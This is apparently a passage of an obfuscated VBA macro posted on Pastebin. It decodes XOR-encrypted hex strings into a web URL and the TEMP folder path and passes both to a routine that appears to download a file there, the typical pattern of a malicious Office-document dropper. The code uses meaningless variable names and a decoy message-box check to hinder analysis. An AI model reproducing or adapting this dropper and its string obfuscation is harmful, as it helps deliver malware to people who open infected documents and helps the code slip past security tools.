  1183. If Len(XORI(HexToString("0C27092922072B374677595D"), HexToString("55724E6D65616D"))) = Len(XORI(HexToString("13200407073E0F26"), HexToString("526E626B48"))) Then
  1184.        MsgBox (XORI(HexToString("221B3D051D47486E4B"), HexToString("67694F6A6F")))
  1185. End If
  1186.  
  1187. vhjvhJVK = XORI(HexToString("0526151260427D09073B1F2606032E087C0507750F3B0F4C3F1537"), HexToString("6D5261625A"))
  1188. njKBLJ = Environ(XORI(HexToString("160C1D12"), HexToString("424950"))) & XORI(HexToString("1B061D2413111C280D170C2469222E04"), HexToString("47475661"))
  1189.     RGULTDVHYVP vhjvhJVK, njKBLJ
  1190.  
  1191. End Sub
  1192.  
  1193. Public Function XORI(ByVal NQvcFUBHbjZEz As String, ByVal yDohoStfvz As String) As String
  1194. Dim tSvaKFuOFw As Long
  1195. For tSvaKFuOFw = 1 To Len(NQvcFUBHbjZEz)
  1196. XORI = XORI & Chr(Asc(Mid(yDohoStfvz, IIf(tSvaKFuOFw Mod Len(yDohoStfvz) <> 0, tSvaKFuOFw Mod Len(yDohoStfvz), Len(yDohoStfvz)), 1)) Xor Asc(Mid(NQvcFUBHbjZEz, tSvaKFuOFw, 1)))
  1197. Next tSvaKFuOFw
  1198. End Function
  1199.  
  1200. Public Function HexToString(ByVal FoocNpLYm As String) As String
  1201. Dim lQbBpnhywSoMSO As String
  1202. Dim esOPZ As String
  1203. Dim eHQpJdQ As Long
  1204. For eHQpJdQ = 1 To Len(FoocNpLYm) Step 2
  1205. lQbBpnhywSoMSO = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(FoocNpLYm, eHQpJdQ, 2)))
  1206. esOPZ = esOPZ & lQbBpnhywSoMSO
  1207. Next eHQpJdQ
  1208. HexToString = esOPZ
  1209. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!